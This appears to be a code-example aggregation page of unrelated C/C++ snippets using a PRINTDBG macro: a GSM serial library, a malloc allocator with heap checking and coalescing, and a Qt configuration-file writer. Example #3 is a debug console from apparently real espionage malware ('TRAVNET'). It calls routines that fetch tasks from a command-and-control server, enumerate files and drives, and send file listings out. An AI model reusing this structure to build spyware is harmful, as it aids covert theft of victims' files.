Exemple #1
0
void DLGSM::GSM_send(char *v) {
	_gsmserial.print(v);
	_gsmserial.flush();
        PRINTDBG(_DEBUG, v);
}
Exemple #2
0
void DLGSM::GSM_send(unsigned long v) {
	_gsmserial.print(v);
        PRINTDBG(_DEBUG, v);
}
Exemple #3
0
int main()
{
	PRINTDBG("[TRAVNET-CONSOLE]\n");
	PRINTDBG("This executable is only for debug purpose.\n\n");

	PRINTDBG("\n[INFO]\n");

	GetVolumeSerialNumber(g_szVolumeSerialNr, 260);
	GetHostInfo(g_szHostname, 260, g_szHostByName);
	LoadConfig();

#ifdef _DEBUG
	CHAR szConfigPath[260];
	CHAR szWinDir[260];

	GetWindowsDirectory(szWinDir, 260);
	sprintf(szConfigPath, "%s\\system\\config_t.dat", szWinDir);
	
	PRINTDBG("Config file  : %s\n", szConfigPath);
#endif

	PRINTDBG("Temp file dir: %s\n", g_szTmpPath);
	PRINTDBG("UDIdx path   : %s\n", g_szUDIdx);
	PRINTDBG("UEnumFS path : %s\n", g_szUEnumFS);
	PRINTDBG("EnumFS path  : %s\n", g_szEnumFS);
	PRINTDBG("DNList path  : %s\n", g_szDNList);
	PRINTDBG("Stat_T path  : %s\n", g_szStat_T);
	PRINTDBG("System dir   : %s\n", g_szSysDir);

	PRINTDBG("\n[FUNCTIONS]\n");
	PRINTDBG("GetTaskFromC2  : %s\n", sc_szTasks[GetTaskFromC2()]);
	PRINTDBG("SendCMDRecvToC2: %d\n", SendCMDRecvToC2());
	PRINTDBG("GetCMDFromC2   : %d\n", GetCMDFromC2());
	//PRINTDBG("SendFileToC2   : %d\n", SendFileToC2("local-test-file.txt", "remote-test-file.txt"));
	PRINTDBG("GenerateEnumFS : %d\n", GenerateEnumFS());
	PRINTDBG("SendEnumFSToC2 : %d\n", SendEnumFSToC2());
	PRINTDBG("SendDNListFilesToC2 : %d\n", SendDNListFilesToC2());

	ScanDevice("E:\\");
	PRINTDBG("SendUEnumFSToC2: %d\n", SendUEnumFSToC2());

	TaskReset();

	system("pause");
	return 0;
}
Exemple #4
0
void DLGSM::GSM_send(int v) {
	_gsmserial.print(v);
	PRINTDBG(_DEBUG, v);
}
Exemple #5
0
/**********************************************************
 * mm_check
 * Check the consistency of the memory heap
 * Return nonzero if the heap is consistant.
 *********************************************************/
int mm_check(void)
{
#ifdef DEBUG_BUILD

    int i;
    dlist *current;
    void *bp; //To point at the start of the heap
    size_t size = 0; //To measure the total size of blocks on the heap

    // Check if every block in free list is actually marked free.
    // If a allocated block is in the free list then it may result in segmentation faults
    // while accessing the prev and next pointers. It will also result in the allocater manipulating 
    // memory allocated to user which will be nasty!

    for(i = 0; i < NUM_SEG_LIST; i++) {
        current = sep_list_head[i];
    
        while (current != NULL) {
            // Check if block is in heap
            if (is_in_heap((void*)current) == 0)
                return 0;

            if (GET_ALLOC(HDRP((void*)current))) {
                PRINTDBG (("block (%p) in free list is allocated!\n", current));
                return 0;
            }
            current = current->next;
        }
    }

    // Check if there exist any free blocks that may have escaped coalescing. 
    // If found, these cases result in internal fragmentation.
    for (bp = heap_listp; GET_SIZE(HDRP(bp)) > 0; bp = NEXT_BLKP(bp))
    {
        // Check if the current block is free and the next block is also free
        // Since this is done in a sequential manner, we don't need to check the previous blk
        if (!GET_ALLOC(HDRP(bp)) && (!GET_ALLOC(HDRP(NEXT_BLKP(bp))))) {
            PRINTDBG (("Consecutive blocks (%p, %p) have escaped coalescing!\n", bp, NEXT_BLKP(bp)));
            return 0;
        }
    }

    for (bp = heap_listp; GET_SIZE(HDRP(bp)) > 0; bp = NEXT_BLKP(bp)) {
        if (bp < mem_heap_lo() || bp > mem_heap_hi()) {
            PRINTDBG (("Block is outside the heap.\n"));
            return 0;
        }
        else {
            size += GET_SIZE(HDRP(bp));     //Add the size of the current block to the total size of the calculated blocks on the heap so far
        }
    }
            
    if (size == mem_heapsize())
        PRINTDBG (("The total size of all blocks on the heap match the heap size.\n"));

    if (mem_heapsize() > mem_pagesize())   //Check if heap size exceeded systems page size  
        PRINTDBG (("Heap size is more than page size. TLB misses might occur\n"));

    char c;
    scanf("%c\n", &c);

#endif
    return 1;
}
Exemple #6
0
/**********************************************************
 * mm_realloc
 * Implemented simply in terms of mm_malloc and mm_free
 *********************************************************/
void *mm_realloc(void *ptr, size_t size)
{
    PRINTDBG (("mm_realloc called %p : %ld\n", ptr, size));

    /* If size == 0 then this is just free, and we return NULL. */
    if (size == 0) {
      mm_free(ptr);
      return NULL;
    }

    /* If oldptr is NULL, then this is just malloc. */
    if (ptr == NULL)
      return (mm_malloc(size));

    /* If realloc is called with already free block then malloc new block */
    if (!GET_ALLOC(HDRP(ptr)))
        return (mm_malloc(size));

    void *oldptr = ptr;
    size_t copySize = GET_SIZE(HDRP(oldptr));

    /* Adjust block size to include overhead and alignment reqs. */
    size_t asize;
    if (size <= DSIZE)
        asize = 2 * DSIZE;
    else
        asize = DSIZE * ((size + (DSIZE) + (DSIZE-1))/ DSIZE);

    // If asize is less then just slice the block
    if (asize <= copySize) {
        place(oldptr, asize);
        return oldptr;
    }

    // print_heap();
    void *cptr = coalesce(oldptr, asize);
    // print_heap();
    // char c;
    // scanf("%c\n", &c);

    if (cptr == NULL) {
        // If coalescing was not possible then allocate new block
        void *newptr = mm_malloc(size);
        if (newptr == NULL)
            return NULL;

        // Copy the old data.
        memcpy(newptr, oldptr, copySize);
        mm_free(oldptr);
        return newptr;
    }
    else if (cptr < oldptr) {
        // If coalesced with prev block then memmove the data
        memmove(cptr, oldptr, copySize);

        place(cptr, asize);
    }
    else {
        // If coalesced with next block then slice the block
        //place(cptr, asize);
        
        /* Get the current block size */
        size_t bsize = GET_SIZE(HDRP(cptr));

        PRINTDBG (("placing %ld -> %ld\n", asize, bsize));

        // If slicing will produce a block less than 2 * DSIZE then dont slice.
        if (bsize - asize >= 4 * WSIZE) {
            // min block size
            PUT(HDRP(cptr), PACK(asize, 1));
            PUT(FTRP(cptr), PACK(asize, 1));

            PUT(HDRP(NEXT_BLKP(cptr)), PACK(bsize - asize, 0));
            PUT(FTRP(NEXT_BLKP(cptr)), PACK(bsize - asize, 0));

            // Dont insert block in free list so it can be used later for realloc
        }
        else {
            PUT(HDRP(cptr), PACK(bsize, 1));
            PUT(FTRP(cptr), PACK(bsize, 1));
        }
    }

    return cptr;
}
Exemple #7
0
void *coalesce(void *bp, size_t extendsize)
{
    size_t prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));
    size_t next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));
    size_t size = GET_SIZE(HDRP(bp));

    if (prev_alloc && next_alloc) {         /* Case 1 */

        PRINTDBG (("case 1\n"));

        if (extendsize != 0)
            return NULL;
        return bp;
    }

    size_t prev_size = GET_SIZE(HDRP(PREV_BLKP(bp)));
    size_t next_size = GET_SIZE(HDRP(NEXT_BLKP(bp)));

    int next_index = 0, prev_index = 0, i;
    for(i = 0; i < NUM_SEG_LIST; i++) {
        if (prev_size >= SEG_SIZES[i])
            prev_index = i;
        if (next_size >= SEG_SIZES[i])
            next_index = i;
    }

    if (prev_alloc && !next_alloc) {        /* Case 2 */

        PRINTDBG (("case 2: %d\n", next_index));

        if (extendsize > (size + next_size))
            return NULL;

        remove_node(next_index, NEXT_BLKP(bp));

        size += GET_SIZE(HDRP(NEXT_BLKP(bp)));
        PUT(HDRP(bp), PACK(size, 0));
        PUT(FTRP(bp), PACK(size, 0));

        return (bp);
    }

    else if (!prev_alloc && next_alloc) {   /* Case 3 */

        PRINTDBG (("case 3: %d\n", prev_index));

        if (extendsize > (size + prev_size))
            return NULL;

        remove_node(prev_index, PREV_BLKP(bp));

        size += GET_SIZE(HDRP(PREV_BLKP(bp)));
        PUT(FTRP(bp), PACK(size, 0));
        PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));

        return (PREV_BLKP(bp));
    }

    else {                                  /* Case 4 */


        PRINTDBG (("case 4: %d :: %d\n", prev_index, next_index));

        if (extendsize > (size + prev_size + next_size))
            return NULL;

        remove_node(prev_index, PREV_BLKP(bp));
        remove_node(next_index, NEXT_BLKP(bp));

        size += GET_SIZE(HDRP(PREV_BLKP(bp)))  +
            GET_SIZE(FTRP(NEXT_BLKP(bp)))  ;
        PUT(HDRP(PREV_BLKP(bp)), PACK(size,0));
        PUT(FTRP(NEXT_BLKP(bp)), PACK(size,0));

        return (PREV_BLKP(bp));
    }
}
Exemple #8
0
/**********************************************************
 * insert_node
 * Inserts specified node into the corresponding index of
 * the segregated free list
 **********************************************************/
int insert_node (void *new_bp)
{
    size_t size = GET_SIZE(HDRP(new_bp));
    int index = 0, i;

    for(i = 0; i < NUM_SEG_LIST; i++) {
        if (size >= SEG_SIZES[i])
            index = i;
    }

    PRINTDBG (("Inserting node: %ld\n", size));

    dlist *new_node = (dlist*)new_bp;
    new_node->prev = NULL;
    new_node->next = NULL;

    if (sep_list_head[index] == NULL) {
        sep_list_head[index] = new_bp;

        return index;
    }

    dlist *head_node = (dlist*)sep_list_head[index];
      
    if (size >= GET_SIZE(HDRP(sep_list_head[index]))) { //insert before head

        PRINTDBG (("insert first\n"));

        head_node->prev = new_node;
        new_node->next = head_node;
        sep_list_head[index] = new_bp;

        return index;
    }

    dlist* current = head_node;

    if (current->next == NULL) {    //one node

        PRINTDBG (("insert second\n"));

        head_node->next = new_node;
        new_node->prev = head_node;

        return index;
    }

    while (current->next != NULL && size < GET_SIZE(HDRP(current->next)))
        current = current->next;

    PRINTDBG (("insert mid or last\n"));

    new_node->next = current->next;
    new_node->prev = current;

    if (current->next != NULL)
        current->next->prev = new_node;

    current->next = new_node;

    return index;
}
void Output::doOutput()
{
    QFile fileHeader, fileCodefile;
    QString headerPath, codefilePath;
    bool success;
    const QString headMessage = QString(
"/*  THIS FILE WAS GENERATED BY THE DATALIGHT RELIANCE EDGE CONFIGURATION\n"
"    UTILITY.  DO NOT MODIFY.\n"
"\n"
"    Generated by configuration utility version " + QString(CONFIG_VERSION) + "\n"
"*/\n");

    // If we were given file paths, try opening them for saving.
    // If not or on failure, use FileDialogs to get paths.
    if(!currHeaderPath.isNull() && !currCodefilePath.isNull())
    {
        fileHeader.setFileName(currHeaderPath);
        fileCodefile.setFileName(currCodefilePath);
        if(!fileHeader.open(QIODevice::WriteOnly | QIODevice::Text))
        {
            success = false;
            PRINTDBG(QString("Error opening file ") + currHeaderPath + ": " + fileHeader.errorString());
        }
        else if(!fileCodefile.open(QIODevice::WriteOnly | QIODevice::Text))
        {
            success = false;
            PRINTDBG(QString("Error opening file ") + currCodefilePath + ": " + fileCodefile.errorString());
        }
        else
        {
            success = true;
            headerPath = currHeaderPath;
            codefilePath = currCodefilePath;
        }
    }
    else
    {
        success = false; // Show save as dialogs.
    }

    if(!success)
    {
        success = true;
        if(fileDialog == NULL)
        {
            fileDialog = new FileDialog(parentWindow,
                                        QFileDialog::AcceptSave,
                                        QFileDialog::AnyFile);
        }

        headerPath = fileDialog->ShowGetHeader(currHeaderPath);
        if(headerPath.isNull() || headerPath.isEmpty())
        {
            emit results(OutResultUserCancelled, QString::null, QString::null);
            return;
        }

        fileHeader.setFileName(headerPath);
        if(!fileHeader.open(QIODevice::WriteOnly | QIODevice::Text))
        {
            success = false;
        }
        else
        {
            codefilePath = fileDialog->ShowGetCodefile(currCodefilePath);
            fileCodefile.setFileName(codefilePath);
            if(codefilePath.isNull() || codefilePath.isEmpty())
            {
                emit results(OutResultUserCancelled, QString::null, QString::null);
                return;
            }
            if(!fileCodefile.open(QIODevice::WriteOnly | QIODevice::Text))
            {
                success = false;
            }
        }
    }

    if(success)
    {
        QTextStream stmOut(&fileHeader);
        stmOut.setCodec("UTF-8");
        stmOut << headMessage << AllSettings::FormatHeaderOutput();

        if(stmOut.status() != QTextStream::Ok)
        {
            success = false;
        }
    }

    if(success)
    {
        QTextStream stmOut(&fileCodefile);
        stmOut.setCodec("UTF-8");
        stmOut << headMessage << AllSettings::FormatCodefileOutput();

        if(stmOut.status() != QTextStream::Ok)
        {
            success = false;
        }
    }

    if(success)
    {
        emit results(OutResultSuccess, headerPath, codefilePath);
    }
    else
    {
        emit results(OutResultFileError, QString::null, QString::null);
    }

}